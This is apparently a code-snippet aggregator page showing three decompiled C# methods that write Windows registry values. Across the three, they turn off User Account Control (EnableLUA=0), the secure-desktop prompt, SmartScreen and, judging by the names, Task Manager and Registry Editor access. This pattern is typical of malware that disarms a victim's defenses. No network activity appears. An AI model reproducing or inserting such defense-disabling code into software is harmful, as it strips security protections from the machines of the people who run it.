Пример #1
0
        // Token: 0x06000012 RID: 18 RVA: 0x000027B8 File Offset: 0x000009B8
        public static bool ToogleUacAdmin(string regpath, int locker)
        {
            bool result;

            try
            {
                if (RunCheck.IsUserAdministrator())
                {
                    using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryControl.Regview))
                    {
                        using (RegistryKey registryKey2 = registryKey.OpenSubKey(regpath, RunCheck.StartWin_xSixtyFour()))
                        {
                            try
                            {
                                foreach (string name in RegistryControl.FieldsLocal)
                                {
                                    try
                                    {
                                        registryKey2.SetValue(name, locker, RegistryValueKind.DWord);
                                    }
                                    catch
                                    {
                                    }
                                }
                            }
                            catch (Exception)
                            {
                                return(false);
                            }
                            return(true);
                        }
                    }
                }
                result = true;
            }
            catch (Exception)
            {
                result = false;
            }
            return(result);
        }
Пример #2
0
        // Token: 0x06000013 RID: 19 RVA: 0x00002888 File Offset: 0x00000A88
        public static bool ToogleTaskMandRegedit(string regpath, int locker)
        {
            bool result;

            try
            {
                using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(regpath, RunCheck.StartWin_xSixtyFour()))
                {
                    using (RegistryKey registryKey2 = registryKey.CreateSubKey("System"))
                    {
                        registryKey2.SetValue("EnableLUA", 0, RegistryValueKind.DWord);
                        registryKey2.SetValue("PromptOnSecureDesktop", 0, RegistryValueKind.DWord);
                        try
                        {
                            foreach (string name in RegistryControl.FiledsSystem)
                            {
                                try
                                {
                                    registryKey2.SetValue(name, locker);
                                }
                                catch
                                {
                                }
                            }
                        }
                        catch (Exception)
                        {
                            return(false);
                        }
                        result = true;
                    }
                }
            }
            catch
            {
                result = false;
            }
            return(result);
        }
Пример #3
0
        // Token: 0x06000014 RID: 20 RVA: 0x00002970 File Offset: 0x00000B70
        public static bool ToogleSmartScreen(string regpath, string name, string enable)
        {
            bool result;

            try
            {
                if (RunCheck.IsUserAdministrator())
                {
                    using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryControl.Regview))
                    {
                        using (RegistryKey registryKey2 = registryKey.OpenSubKey(regpath, RunCheck.StartWin_xSixtyFour()))
                        {
                            try
                            {
                                registryKey2.SetValue(name, enable, RegistryValueKind.String);
                                return(true);
                            }
                            catch
                            {
                                return(false);
                            }
                        }
                    }
                }
                result = true;
            }
            catch
            {
                result = false;
            }
            return(result);
        }